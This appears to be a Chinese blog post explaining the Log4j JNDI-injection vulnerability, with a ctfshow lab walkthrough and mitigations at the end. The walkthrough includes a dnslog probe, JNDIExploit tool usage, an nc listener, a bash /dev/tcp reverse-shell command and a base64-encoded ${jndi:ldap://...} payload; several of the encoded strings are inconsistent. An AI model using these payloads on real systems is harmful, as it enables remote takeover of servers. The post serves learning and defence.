首页 > 其他分享 >log4j漏洞原理

log4j漏洞原理

时间:2022-11-18 13:46:56浏览次数:57  
标签:重定向 JNDI 接口 log4j 漏洞 LDAP 原理 Log4j

一.前置知识

1.JNDI接口

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。

2.LDAP协议

LDAP称为轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。

有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。

3.RMI协议

JAVA的一种远程接口调用协议,在TCP协议上传递可序列化的Java对象,即可以实现调用远程方法和调用本地方法一样简单。

4.Log4j

Log4j是由Apache提供的日志操作包,用于帮助用户处理日志信息。通过Log4j,可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器等各种地方。

二.Log4j漏洞的成因

Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。

由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。

Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。

三.漏洞复现

1.ctfshow的log4j复现

2.打开环境,写上payload:${jndi:ldap://ntoand.dnslog.cn}先用dnslog检测漏洞是否存在

3.可以看到,是有解析记录的,原理如下:

4.浅浅漏洞利用一下吧~

在远程vps上搭建LDAP服务器,并将恶意代码编译并挂在服务器上,对JAVA不太熟练,直接使用JNDIExploit工具进行搭建:

GitHub链接:Yihsiwei/Log4j-exp: 帮助你快速复现Log4j漏洞 (github.com)

下载工具后,放到公网VPS上,记得防火墙放行端口

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i X.X.X.X -p 4444

用nc监听端口

nc -lvp 5555

制作poc,通过bash -i >& /dev/tcp/x.x.x.x/5555 0>&1反弹shell

说明:

bash -i 指开启一个交互式的Shell

&符号用于区分文件和文件描述符

&表示标准输出或标准错误输出重定向到文件

0指标准输入重定向,1指标准输出重定向,2指错误输出重定向

/dev/tcp指linux下的特殊设备,可用于建立Socket连接

bash -i >& /dev/tcp/120.x.7x.2x.17x/5555 0>&1 指将标准输出重定向到/dev/tcp/ip/port端口文件中即重定向到攻击机,靶机的标准输入被重定向到了标准输出,标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,所以可以看到攻击机输入命令并看到结果。

POC为:

${jndi:ldap://x.x.x.x:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAV2L3RjcC8xOTUuMTMzLjUuMzc1NSAwPiYx}

注意:bash -i >& /dev/tcp/x.x.x.x/5555 0>&1需要base64编码+url编码工具才能识别

base64编码后:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTUuMzLzcvNTU1NSAwPiYx

Url编码后:YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTUuMTMMzcvNTU1NPiYx

点击提交,看到shell反弹回来了

log4j漏洞攻击成功~

四、Log4j的临时缓解措施

关闭lookup功能:

(1)设置log4j2.formatMsgNoLookups=True

(2)Dlog4j2.formatMsgNoLookups=true。

(3)设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS为true

(4)采用防火墙对请求流量中的${jndi进行拦截,防止JNDI注入。

(5)禁止存在漏洞的业务访问外网,主动外连外网。

标签:重定向,JNDI,接口,log4j,漏洞,LDAP,原理,Log4j
From: https://www.cnblogs.com/Cai-Xiaobai/p/16902905.html

相关文章

  • etag生成原理
    etag生成原理应该是每个系统的生成原理都有一些不一样nginx中etag由响应头的Last-Modified与Content-Length表示为十六进制组合而成。以Apache为例,ETag生成靠以下......
  • Vue.nextTick核心原理
    相信大家在写vue项目的时候,一定会发现一个神奇的api,Vue.nextTick。为什么说它神奇呢,那是因为在你做某些操作不生效时,将操作写在Vue.nextTick内,就神奇的生效了。那这是什么......
  • 【嵌入式系统】存储器映射与寄存器映射原理
    【嵌入式系统】存储器映射与寄存器映射原理一、存储器映射图1存储器映射存储器在产家制作完成后是一片没有任何信息的物理存储器,而CPU要进行访存就涉及到内存地址的概......
  • 注意 ! !|95% 的应用程序中发现错误配置和漏洞
    业内权威机构Synopsys最近发布了一项研究报告,结果表明在进行4300次测试后,发现95%的应用程序中都至少都有一个影响安全的漏洞或配置错误,其中高危漏洞占20%,严重漏洞则占4.5......
  • WAF的工作原理及CC攻击
    WAF的工作原理WAF(webapplicationfirewall)web应用防火墙,它工作在OSI模型的第七层,也就是应用层,对来着web应用程序客户端的各类请求、访问进行检测和验证,为确保web应用程序......
  • log4j.properties
    #将等级为DEBUG的日志信息输出到console和file这两个目的地,console和file的定义在下面的代码log4j.rootLogger=DEBUG,console,file#控制台输出的相关设置log4j.appende......
  • 现代操作系统 原理与实现 电子书 pdf
    作者:陈海波/夏虞斌出版社:机械工业出版社 关注公众号,回复【电子书】即可:  ......
  • Apache Flink架构及其工作原理
    ApacheFlink架构及其工作原理1、定义:Apacheflink是一个实时计算框架和分布式处理引擎,用于再无边界和有边界数据流上进行有状态的计算,Flink能在所有的集群环境中运行,......
  • 漏洞扫描器
    0x001漏洞扫描工具1.Nessus下载地址:https://www.tenable.com/downloads/nessus?loginAttempted=true安装过程可以查看文章:https://zhuanlan.zhihu.com/p/147239031?f......
  • 前端路由的原理
    1、window.onhashchange(监听URLhash):当一个窗口的hash(URL中#后面的部分)的改变时就会触发hashchange事件。2、在hashchange 事件中匹配URL,存在则加载对应的DOM元......